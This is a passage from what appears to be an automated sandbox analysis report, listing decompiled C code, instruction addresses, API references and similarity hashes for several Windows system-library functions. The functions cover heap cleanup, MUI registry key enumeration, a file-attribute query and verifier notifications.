								goto L13;
							} else {
								_v96 = 0x30;
								_t64 = _t74 - _t83 - 0x18;
								asm("cdq");
								_t79 = _t64 % _v96;
								_t54 = 0x18 + _t64 / _v96 * 0x30 + _t83;
								if(_t74 == 0x18 + _t64 / _v96 * 0x30 + _t83) {
									_t54 =  *(_t83 + 4);
									if(_t54 != 0) {
										_t68 = _t54 - 1;
										 *(_t83 + 4) = _t68;
										_t54 =  !_t68;
										 *(_t83 + 0x14) =  !_t68;
										 *((intOrPtr*)(_t74 + 8)) = 4;
										if( *(_t83 + 4) == 0) {
											_t54 =  *(_t72 + 4);
											if(_t54 != _t82) {
												do {
													_t83 =  *(_t54 + 4);
													_t79 = _t54 - 8;
													if( *((intOrPtr*)(_t79 + 4)) == 0) {
														_t77 =  *_t54;
														if( *(_t77 + 4) != _t54 ||  *_t83 != _t54) {
															_push(3);
															asm("int 0x29");
															return 0x3e5;
														}
														 *_t83 = _t77;
														 *(_t77 + 4) = _t83;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t79);
													}
													_t54 = _t83;
												} while (_t83 != _t82);
											}
										}
									}
								}
							}
						}
						goto L12;
					}
				}
				L12:
				return E6A95B640(_t54, _t72, _v8 ^ _t84, _t79, _t82, _t83);
			}

0x6a914439
0x6a914446
0x6a914448
0x6a91444e
0x6a914450
0x6a914453
0x6a914457
0x6a914467
0x6a91446a
0x6a91446c
0x6a914472
0x6a914475
0x6a91447c
0x6a97080d
0x6a970814
0x6a970815
0x6a97081c
0x6a97081f
0x6a970822
0x6a970825
0x6a970828
0x6a97082f
0x6a970832
0x6a970837
0x6a97083c
0x6a97083c
0x6a91448a
0x6a970842
0x6a970849
0x6a97084a
0x6a970851
0x6a970854
0x6a97085b
0x6a97085e
0x6a970861
0x6a970868
0x6a97086b
0x6a970870
0x6a970870
0x6a914490
0x6a914490
0x6a914495
0x6a9144f8
0x6a9144f8
0x00000000
0x6a914497
0x6a914497
0x6a914497
0x6a91449f
0x00000000
0x6a9144a1
0x6a9144a3
0x6a9144ac
0x6a9144af
0x6a9144b0
0x6a9144b9
0x6a9144bd
0x6a9144bf
0x6a9144c4
0x6a9144c6
0x6a9144c7
0x6a9144ca
0x6a9144cc
0x6a9144cf
0x6a9144da
0x6a9144dc
0x6a9144e1
0x6a970878
0x6a970878
0x6a97087b
0x6a970882
0x6a970884
0x6a970889
0x6a9708b0
0x6a9708b3
0x00000000
0x6a9708b5
0x6a970896
0x6a97089a
0x6a9708a0
0x6a9708a0
0x6a9708a5
0x6a9708a7
0x6a9708ab
0x6a9144e1
0x6a9144da
0x6a9144c4
0x6a9144bd
0x6a91449f
0x00000000
0x6a914495
0x6a91446c
0x6a9144e7
0x6a9144f7

Strings

Flst, xrefs: 6A914476
0, xrefs: 6A9144A3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: d0d54ddefbcf3691ae2749ff23ae4dd1085bf9186193d127efe36e6fba601749
Instruction ID: d869ebc7fd1ff8792c5880a101744101bd07689165ed3c230cf65cdf1b930b6e
Opcode Fuzzy Hash: d0d54ddefbcf3691ae2749ff23ae4dd1085bf9186193d127efe36e6fba601749
Instruction Fuzzy Hash: B0416DB1A04648CFDB24CF99C58479DFBF9EF88318F20802AD05A9B681DB35D945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A91E216, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 112
nativeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E6A91E216(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				signed int _v16;
				char _v540;
				unsigned int _v544;
				char _v556;
				void* _v560;
				char _v564;
				intOrPtr _v568;
				short _v570;
				char _v576;
				short _v580;
				short _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				short _v596;
				char _v600;
				void* _v608;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t43;
				void* _t45;
				intOrPtr _t54;
				signed int _t59;
				signed int _t71;
				signed int _t73;
				signed int _t78;
				void* _t79;
				short _t81;
				void* _t82;
				signed int _t85;
				signed int _t87;

				_t75 = __edx;
				_t66 = _t87;
				_push(__ecx);
				_push(__ecx);
				_v8 =  *((intOrPtr*)(_t87 + 4));
				_t85 = (_t87 & 0xffffffe0) + 4;
				_t43 =  *0x6aa0d360 ^ _t85;
				_v16 = _t43;
				_t81 = 0;
				_v570 = __edx;
				_t78 = __ecx;
				_v564 = 0;
				_v576 = 0;
				_v560 = _t43 | 0xffffffff;
				if(__ecx == 0) {
					_t45 = 0xc000000d;
					L3:
					_pop(_t79);
					_pop(_t82);
					return E6A95B640(_t45, _t66, _v16 ^ _t85, _t75, _t79, _t82);
				}
				RtlInitUnicodeString( &_v608, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\UILanguages\\PendingDelete");
				_v564 = 0;
				_v592 =  &_v608;
				_push( &_v600);
				_push(0x20019);
				_v600 = 0x18;
				_push( &_v564);
				_v596 = 0;
				_v588 = 0x40;
				_v584 = 0;
				_v580 = 0;
				if(E6A959600() >= 0) {
					do {
						_push( &_v576);
						_push(0x200);
						_push( &_v556);
						_push(0);
						_push(_t81);
						_push(_v564);
						_t54 = E6A959820();
						_v568 = _t54;
						if(_t54 >= 0) {
							_t75 = _v544;
							if(_t75 + 0x18 < 0x1fe) {
								_t71 = _t78;
								 *((short*)(_t85 + (_t75 >> 1) * 2 - 0x210)) = 0;
								_t75 =  &_v540;
								if(E6A9237EE(_t71,  &_v540, 0,  &_v560) >= 0) {
									_t59 = _v560;
									if((_t71 | 0xffffffff) != _t59 && _t59 != _v570) {
										_t75 = 0xffdf;
										_t73 = _t59 * 0x1c;
										 *( *((intOrPtr*)( *((intOrPtr*)(_t78 + 0x14)) + 0xc)) + _t73) =  *( *((intOrPtr*)( *((intOrPtr*)(_t78 + 0x14)) + 0xc)) + _t73) & 0x0000ffdf;
										 *( *((intOrPtr*)( *((intOrPtr*)(_t78 + 0x14)) + 0xc)) + _t73) =  *( *((intOrPtr*)( *((intOrPtr*)(_t78 + 0x14)) + 0xc)) + _t73) | 0x00008000;
									}
								}
								_t54 = _v568;
							}
						}
						_t81 = _t81 + 1;
					} while (_t54 != 0x8000001a);
					if(_v564 != 0) {
						_push(_v564);
						E6A9595D0();
					}
				}
				_t45 = 0;
				goto L3;
			}

0x6a91e216
0x6a91e219
0x6a91e21b
0x6a91e21c
0x6a91e227
0x6a91e22b
0x6a91e238
0x6a91e23a
0x6a91e23f
0x6a91e241
0x6a91e248
0x6a91e24a
0x6a91e253
0x6a91e259
0x6a91e262
0x6a91e2e2
0x6a91e2cf
0x6a91e2d2
0x6a91e2d5
0x6a91e2e1
0x6a91e2e1
0x6a91e270
0x6a91e27b
0x6a91e281
0x6a91e28d
0x6a91e28e
0x6a91e299
0x6a91e2a3
0x6a91e2a4
0x6a91e2aa
0x6a91e2b4
0x6a91e2ba
0x6a91e2c7
0x6a975206
0x6a97520c
0x6a97520d
0x6a975218
0x6a975219
0x6a97521b
0x6a97521c
0x6a975222
0x6a975227
0x6a97522f
0x6a975231
0x6a975240
0x6a975246
0x6a975248
0x6a975259
0x6a975266
0x6a975268
0x6a975275
0x6a975281
0x6a975286
0x6a97528f
0x6a9752a0
0x6a9752a0
0x6a975275
0x6a9752a3
0x6a9752a3
0x6a975240
0x6a9752a9
0x6a9752aa
0x6a9752bc
0x6a9752c2
0x6a9752c8
0x6a9752c8
0x6a9752bc
0x6a91e2cd
0x00000000

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6A91E270
ZwOpenKey.1105(?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6A91E2C0

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

ZwEnumerateKey.1105(?,00000000,00000000,?,00000200,?,?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6A975222
ZwClose.1105(00000000,?,00000000,00000000,?,00000200,?,?,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete,00000000,0000EEEE), ref: 6A9752C8

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete, xrefs: 6A91E264

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEnumerateInitInitializeOpenStringThunkUnicode
String ID: \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete
API String ID: 1553249520-991696866
Opcode ID: 8a32b7f14330d3ff7a9f47d902fafd3a56f840026e196ca9aa10811331de6b46
Instruction ID: e01941d149385130799830848987012492b26404d6036b775a4b1ad7d5dc4dbd
Opcode Fuzzy Hash: 8a32b7f14330d3ff7a9f47d902fafd3a56f840026e196ca9aa10811331de6b46
Instruction Fuzzy Hash: 53416E7091121DABDB60DF68DC89B99B7B8EF49310F2141EAA818D7290EF74DE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 6A91BAA0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102
nativeCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6A91BAA0(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				signed char _v45;
				char _v48;
				void* _v52;
				void* _v53;
				intOrPtr _t45;
				intOrPtr* _t58;
				void* _t72;
				intOrPtr _t77;

				_v40 = _v40 & 0x00000000;
				_t75 = _a8;
				_v45 = 0;
				_v44 = 0;
				if(_a8 == 0) {
					L7:
					_t72 = 0xc000000d;
				} else {
					_t58 = _a12;
					if(_t58 == 0) {
						goto L7;
					} else {
						_t59 = _a4;
						if(_a4 != 0) {
							L8:
							_t72 = E6A9CD208(_t59, _t75,  &_v45,  &_v44);
							if(_t72 == 0) {
								_t77 =  *_t58;
								if(_t77 != 0) {
									if( *(_t77 + 4) >=  *((intOrPtr*)(_t77 + 6))) {
										_t45 = E6A9CDE80();
										goto L12;
									} else {
										goto L15;
									}
								} else {
									_t45 = E6A927608(1, 1, _a8);
									L12:
									_t77 = _t45;
									 *_t58 = _t77;
									if(_t77 != 0) {
										L15:
										 *((short*)(( *(_t77 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)(_t77 + 0x10)))) = _v45 & 0x000000ff;
										 *((short*)(( *( *_t58 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)( *_t58 + 0x10)) + 4)) = _v44;
										 *( *_t58 + 4) =  *( *_t58 + 4) + 1;
									} else {
										_t72 = 0xc0000017;
									}
								}
							}
						} else {
							RtlInitUnicodeString( &_v36, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
							_v36 = 0x18;
							_v28 =  &_v44;
							_v48 = 0;
							_push( &_v36);
							_push(0x20019);
							_v32 = 0;
							_push( &_v48);
							_v24 = 0x40;
							_v20 = 0;
							_v16 = 0;
							_t72 = E6A959600();
							if(_t72 >= 0) {
								_t59 = _v48;
								goto L8;
							}
						}
					}
				}
				if(_v40 != 0) {
					_push(_v40);
					E6A9595D0();
				}
				return _t72;
			}

0x6a91baab
0x6a91bab4
0x6a91bab7
0x6a91babc
0x6a91bac4
0x6a91bb4e
0x6a91bb4e
0x6a91baca
0x6a91baca
0x6a91bacf
0x00000000
0x6a91bad1
0x6a91bad1
0x6a91bad6
0x6a974e2e
0x6a974e3f
0x6a974e43
0x6a974e49
0x6a974e4d
0x6a974e7f
0x6a974e60
0x00000000
0x00000000
0x00000000
0x00000000
0x6a974e4f
0x6a974e57
0x6a974e65
0x6a974e65
0x6a974e67
0x6a974e6b
0x6a974e81
0x6a974e90
0x6a974ea5
0x6a974eac
0x6a974e6d
0x6a974e6d
0x6a974e6d
0x6a974e6b
0x6a974e4d
0x6a91badc
0x6a91bae6
0x6a91baef
0x6a91baf7
0x6a91bb01
0x6a91bb05
0x6a91bb06
0x6a91bb0f
0x6a91bb13
0x6a91bb14
0x6a91bb1c
0x6a91bb20
0x6a91bb29
0x6a91bb2d
0x6a91bb45
0x00000000
0x6a91bb45
0x6a91bb2d
0x6a91bad6
0x6a91bacf
0x6a91bb34
0x6a974eb5
0x6a974eb9
0x6a974eb9
0x6a91bb42

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6A91BAE6
ZwOpenKey.1105(?,?,?,?,?,00020019,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6A91BB24

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

Strings

@, xrefs: 6A91BB14
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6A91BADC

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitInitializeOpenStringThunkUnicode
String ID: @$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3332659491-3339074665
Opcode ID: 23b67dde13f24fc6662fb5f28ea99ca01bba76123f6c6abdee438f4cd8a229e0
Instruction ID: 2d9070d3bed4178bca18e2fb8fa8c34c5c7eaa8de26da184d3b0ebc26642f997
Opcode Fuzzy Hash: 23b67dde13f24fc6662fb5f28ea99ca01bba76123f6c6abdee438f4cd8a229e0
Instruction Fuzzy Hash: 3B31AD715083159BC725CF14D084A6BB7FAEFC5724F61881EE8A58B346EB30DD09CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6A94D294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E6A94D294(intOrPtr* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				long _v56;
				long _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				long _v84;
				void* _v88;
				char _v92;
				void* _v96;
				void* _v100;
				char _v104;
				char _v105;
				intOrPtr _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t35;
				char _t38;
				long _t40;
				signed int _t44;
				long _t52;
				void* _t53;
				signed char _t55;
				void* _t61;
				void* _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6aa0d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E6A934120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E6A95B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E6A9598D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E6A9595D0();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), _t52, _t62);
					goto L4;
				} else {
					L4:
					RtlFreeHeap( *( *[fs:0x30] + 0x18), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v113 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x6a94d29c
0x6a94d2a6
0x6a94d2b1
0x6a94d2b5
0x6a94d2b6
0x6a94d2bc
0x6a94d2bd
0x6a94d2be
0x6a94d2bf
0x6a94d2c2
0x6a94d2c4
0x6a94d2cc
0x6a94d384
0x6a94d34b
0x6a94d34f
0x6a94d350
0x6a94d351
0x6a94d35c
0x6a94d35c
0x6a94d2d6
0x6a94d2da
0x6a94d2e1
0x6a94d361
0x6a94d369
0x6a94d36d
0x6a94d2e3
0x6a94d2e3
0x6a94d2e3
0x6a94d2e5
0x6a94d2ed
0x6a94d2f5
0x6a94d2fa
0x6a94d302
0x6a94d303
0x6a94d30b
0x6a94d30f
0x6a94d313
0x6a94d318
0x6a94d31c
0x6a94d320
0x6a94d379
0x6a94d37d
0x00000000
0x00000000
0x6a98affe
0x6a98b001
0x6a98b011
0x00000000
0x6a94d322
0x6a94d322
0x6a94d330
0x6a94d337
0x6a94d35d
0x6a94d339
0x6a94d33f
0x6a94d38c
0x6a94d38c
0x6a94d33f
0x6a94d349
0x00000000
0x6a94d349

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6A94D313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6A94D330
ZwClose.1105(00000000,?,?,?,?), ref: 6A98B001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6A98B011

Strings

@, xrefs: 6A94D303

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: be25a4e09400327243a003f0ca851c58d43c2728b38416d36b28223391852f49
Instruction ID: 5e98ab3b9411cbe0f9bdf247ac2baf2480dfe1fd2a516f1c1151e28faddd0ccb
Opcode Fuzzy Hash: be25a4e09400327243a003f0ca851c58d43c2728b38416d36b28223391852f49
Instruction Fuzzy Hash: AE318FB5548305AFC360CF28C880A5BBBE8EB96758F21092EF99483310DF34DD05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A99EA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6A99EA20(intOrPtr* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t22;
				intOrPtr* _t23;
				void* _t30;
				void* _t32;
				intOrPtr* _t33;
				intOrPtr* _t35;
				void* _t36;
				signed int _t37;

				_push(__ecx);
				_v8 =  *0x6aa0d360 ^ _t37;
				_t13 =  *[fs:0x30];
				_t35 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) == 0 ||  *0x6aa0b238 == 0) {
					L10:
					_pop(_t32);
					_pop(_t36);
					_pop(_t22);
					return E6A95B640(_t13, _t22, _v8 ^ _t37, _t30, _t32, _t36);
				} else {
					L6A92EEF0(0x6aa070a0);
					if(E6A99F625( *((intOrPtr*)(_t35 + 0x18))) == 0) {
						_t28 = _t35;
						if(E6A99F2B7(_t35) < 0) {
							L9:
							_t13 = E6A92EB70(_t28, 0x6aa070a0);
							goto L10;
						}
						_t33 =  *0x6aa070c0;
						while(_t33 != 0x6aa070c0) {
							_t23 =  *((intOrPtr*)(_t33 + 0x1c));
							_t33 =  *_t33;
							if(_t23 != 0) {
								_t28 = _t23;
								 *0x6aa0b1e0( *((intOrPtr*)(_t35 + 0x30)),  *((intOrPtr*)(_t35 + 0x18)),  *((intOrPtr*)(_t35 + 0x20)), _t35);
								 *_t23();
							}
						}
						goto L9;
					}
					E6A91B150("AVRF: AVrfDllUnloadNotification called for a provider (%p) \n", _t35);
					_pop(_t28);
					asm("int3");
					goto L9;
				}
			}

0x6a99ea25
0x6a99ea2d
0x6a99ea30
0x6a99ea40
0x6a99ea42
0x6a99eab5
0x6a99eab8
0x6a99eab9
0x6a99eabc
0x6a99eac5
0x6a99ea4d
0x6a99ea52
0x6a99ea61
0x6a99ea73
0x6a99ea7c
0x6a99eaab
0x6a99eab0
0x00000000
0x6a99eab0
0x6a99ea7e
0x6a99eaa3
0x6a99ea86
0x6a99ea89
0x6a99ea8d
0x6a99ea93
0x6a99ea9b
0x6a99eaa1
0x6a99eaa1
0x6a99ea8d
0x00000000
0x6a99eaa3
0x6a99ea69
0x6a99ea6f
0x6a99ea70
0x00000000
0x6a99ea70

APIs

RtlEnterCriticalSection.1105(6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EA69
RtlLeaveCriticalSection.1105(6AA070A0,6AA070A0,-00000054,?,00000000,-00000054,?,6A975D18), ref: 6A99EAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6A99EA64

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: cfe692a590f713769bbc8164eea9146be1b626d56ee5d155f4bdbe7916cde36d
Instruction ID: fc8ff596681ba04181e2ed82e5bdd5831030bbdafa1fc56c7c0995d8d4f99ecd
Opcode Fuzzy Hash: cfe692a590f713769bbc8164eea9146be1b626d56ee5d155f4bdbe7916cde36d
Instruction Fuzzy Hash: 9711C631215708BFDB109F25DC84A9A7FBABF57258F2A011EE51147562CF31EC46C690

Uniqueness

Uniqueness Score: -1.00%

Function 6A997365, Relevance: 7.7, APIs: 5, Instructions: 177
nativeCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6A997365(intOrPtr* __ecx, char __edx, void* __eflags, char _a4, char _a8, char _a12) {
				signed int _v12;
				int _v20;
				intOrPtr _v24;
				int _v28;
				char* _v32;
				int _v36;
				intOrPtr _v40;
				int _v44;
				char* _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				char* _v64;
				int _v68;
				intOrPtr _v72;
				int _v76;
				char* _v80;
				int _v84;
				intOrPtr _v88;
				int _v92;
				signed int* _v96;
				int _v100;
				signed int _v104;
				int _v108;
				signed short _v112;
				int _v116;
				intOrPtr _v120;
				int _v124;
				signed int* _v128;
				int _v132;
				intOrPtr _v136;
				int _v140;
				char* _v144;
				int _v148;
				intOrPtr _v152;
				int _v156;
				char* _v160;
				int _v164;
				intOrPtr _v168;
				int _v172;
				char* _v176;
				int _v180;
				intOrPtr _v184;
				int _v188;
				signed int* _v192;
				int _v196;
				signed int _v200;
				int _v204;
				intOrPtr _v208;
				int _v212;
				intOrPtr _v216;
				int _v220;
				signed int* _v224;
				char _v256;
				char _v976;
				intOrPtr _v1036;
				intOrPtr _v1040;
				int _v1044;
				int _v1052;
				void _v1056;
				char _v1057;
				char _v1064;
				char _v1068;
				char _v1072;
				signed int _v1076;
				char _v1080;
				char _v1084;
				char _v1088;
				signed int _v1092;
				char _v1096;
				char _v1100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t116;
				char _t117;
				int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t153;
				intOrPtr _t155;
				signed short* _t156;
				intOrPtr* _t157;
				signed int _t158;

				_t152 = __edx;
				_t147 = __ecx;
				_v12 =  *0x6aa0d360 ^ _t158;
				_t145 = 0;
				_v1064 = __edx;
				_t157 = __ecx;
				_v1072 = 0;
				_v1068 = 0;
				if(E6A944E70(0x6aa086e4, 0x6a959490, 0, 0) >= 0) {
					_t116 =  *((intOrPtr*)(_t157 + 0x1c));
					_t6 = _t116 + 0x24; // 0x24
					_t156 = _t6;
					if(_t116 != 0) {
						_t146 =  *(_t116 + 0xa4) & 0x000000ff;
					} else {
						_t156 = 0x6a8f1920;
						_t146 = 0xffffffff;
					}
					_t117 = 8;
					_push(0);
					_push(_t117);
					_v1072 = _t117;
					_push( &_v1072);
					_push(0x67);
					E6A959860();
					if( *0x6aa053e8 <= 5) {
						L7:
						_t145 = 0;
					} else {
						_t147 = 0x6aa053e8;
						if(E6A958F33(0x6aa053e8, 0, 0x8000) == 0) {
							goto L7;
						} else {
							_t153 =  *((intOrPtr*)(_t157 + 0x20));
							_v1076 =  *(_t153 + 0xa4) & 0x000000ff;
							_v1080 =  *((intOrPtr*)(_t157 + 0x10));
							_v1084 =  *((intOrPtr*)(_t157 + 0x14));
							_v1088 = _a4;
							_v1096 = _v1068;
							_v1100 = _a8;
							_v1057 = _a12;
							_v1092 = _t146;
							_t145 = 0;
							_v208 =  *((intOrPtr*)(_t153 + 0x28));
							_v200 =  *(_t153 + 0x24) & 0x0000ffff;
							_v192 =  &_v1076;
							_v176 =  &_v1080;
							_v160 =  &_v1084;
							_v144 =  &_v1088;
							_v128 =  &_v104;
							_t42 =  &(_t156[2]); // 0x6a8f5c80
							_v112 =  *_t42;
							_v104 =  *_t156 & 0x0000ffff;
							_v224 =  &_v200;
							_t155 = 2;
							_v96 =  &_v1092;
							_t151 = 4;
							_v80 =  &_v1064;
							_v220 = 0;
							_v216 = _t155;
							_v212 = 0;
							_v204 = 0;
							_v196 = 0;
							_v188 = 0;
							_v184 = _t151;
							_v180 = 0;
							_v172 = 0;
							_v168 = _t151;
							_v164 = 0;
							_v156 = 0;
							_v152 = _t151;
							_v148 = 0;
							_v140 = 0;
							_v136 = _t151;
							_v132 = 0;
							_v124 = 0;
							_v120 = _t155;
							_v116 = 0;
							_v108 = 0;
							_v100 = 0;
							_v92 = 0;
							_v88 = _t151;
							_v84 = 0;
							_v76 = 0;
							_v72 = _t151;
							_v68 = 0;
							_v64 =  &_v1096;
							_v60 = 0;
							_v56 = _t151;
							_v52 = 0;
							_v44 = 0;
							_v48 =  &_v1100;
							_v40 = _t151;
							_v36 = 0;
							_v32 =  &_v1057;
							_v28 = 0;
							_v24 = 1;
							_v20 = 0;
							_t152 = 0x6a8fbcfb;
							_t147 = 0x6aa053e8;
							L6A997B9C(0x6aa053e8, 0x6a8fbcfb, _t151, _t151, 0xf,  &_v256);
						}
					}
				}
				E6A96DDD0( &_v976, _t147, _t152, _t156, _t157);
				memset( &_v1056, _t145, 0x50);
				_v1056 = 0xc0000409;
				_v1052 = _t145;
				_v1044 = _t145;
				_v1040 = 1;
				_v1036 = 0x2d;
				return E6A95B640(E6A9A0C30(_t145, _t147, _t156,  &_v1056,  &_v976, 0x1e), _t145, _v12 ^ _t158, _t152, _t156, _t157,  &_v976);
			}

0x6a997365
0x6a997365
0x6a997377
0x6a99737d
0x6a99737f
0x6a997391
0x6a997393
0x6a997399
0x6a9973a6
0x6a9973ac
0x6a9973af
0x6a9973af
0x6a9973b4
0x6a9975b4
0x6a9973ba
0x6a9973ba
0x6a9973bf
0x6a9973bf
0x6a9973c4
0x6a9973c5
0x6a9973c7
0x6a9973c8
0x6a9973d4
0x6a9973d5
0x6a9973d7
0x6a9973e3
0x6a9975c0
0x6a9975c0
0x6a9973e9
0x6a9973f0
0x6a9973fc
0x00000000
0x6a997402
0x6a997402
0x6a99740e
0x6a997417
0x6a997420
0x6a997429
0x6a997441
0x6a99744a
0x6a997453
0x6a997459
0x6a99745f
0x6a99746e
0x6a997476
0x6a997482
0x6a99748e
0x6a99749a
0x6a9974a6
0x6a9974af
0x6a9974b2
0x6a9974b5
0x6a9974bb
0x6a9974c4
0x6a9974ca
0x6a9974cb
0x6a9974d6
0x6a9974d7
0x6a9974e0
0x6a9974e6
0x6a9974ec
0x6a9974f2
0x6a9974f8
0x6a9974fe
0x6a997504
0x6a99750a
0x6a997510
0x6a997516
0x6a99751c
0x6a997522
0x6a997528
